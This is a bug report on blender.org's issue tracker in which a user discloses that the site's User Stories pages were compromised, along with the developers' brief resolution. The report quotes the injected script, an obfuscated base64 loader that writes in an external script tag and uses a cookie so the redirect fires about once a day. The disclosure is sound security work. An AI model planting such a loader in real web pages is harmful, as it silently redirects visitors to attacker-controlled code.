Malicious redirect from User Stories on blender.org #74870

New Issue

swtch · 2020-03-18T07:11:01+01:00

swtch commented

2020-03-18 07:11:01 +01:00

Short description of error
It seems that some pages on blender.org are infected with a malicious script that redirects to random, potentially dangerous websites. I encountered this problem on user stories pages, e.g. https://www.blender.org/user-stories/title-design-from-wonder-woman-to-xxx/.

I've inspected the page source and it appears that this is the malicious code:

Exact steps for others to reproduce the error

If you click on any user story on https://www.blender.org/about/user-stories/, after a seemingly random delay you will be redirected to another page not hosted on blender.org.

**Short description of error** It seems that some pages on blender.org are infected with a malicious script that redirects to random, potentially dangerous websites. I encountered this problem on user stories pages, e.g. https://www.blender.org/user-stories/title-design-from-wonder-woman-to-xxx/. I've inspected the page source and it appears that this is the malicious code: ```<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\- [x]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U- [x]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> ``` **Exact steps for others to reproduce the error** * If you click on any user story on https://www.blender.org/about/user-stories/, after a seemingly random delay you will be redirected to another page not hosted on blender.org.

swtch commented

2020-03-18 07:11:01 +01:00

Added subscriber: @swtch

swtch commented

2020-03-18 07:13:14 +01:00

It probably will be worth checking if Blender binary releases distributed from blender.org were tampered with.

Campbell Barton commented

2020-03-18 07:25:33 +01:00

Added subscriber: @ideasman42

Campbell Barton commented

2020-03-18 07:25:33 +01:00

Thanks for letting us know, I've forwarded this to the sysadmin & other admins.

Sergey Sharybin commented

2020-03-18 11:05:54 +01:00

Added subscriber: @Sergey

Sergey Sharybin commented

2020-03-18 11:05:54 +01:00

Changed status from 'Needs Triage' to: 'Resolved'

Sergey Sharybin closed this issue

2020-03-18 11:05:54 +01:00

Sergey Sharybin self-assigned this 2020-03-18 11:05:54 +01:00

Sergey Sharybin commented

2020-03-18 11:05:54 +01:00

Thanks for the report.

It has been taken care about.
The binaries and other sites were unaffected.

Thanks for the report. It has been taken care about. The binaries and other sites were unaffected.

Sign in to join this conversation.

No Milestone

No project

No Assignees

3 Participants

Notifications

Due Date

The due date is invalid or out of range. Please use the format 'yyyy-mm-dd'.

No due date set.

Dependencies

No dependencies set.

Reference: infrastructure/blender-org#74870

Download

What's New

Blender Studio

Manual

Developers Blog

Documentation

Benchmark

Blender Conference

Development Fund

One-time Donations

Malicious redirect from User Stories on blender.org #74870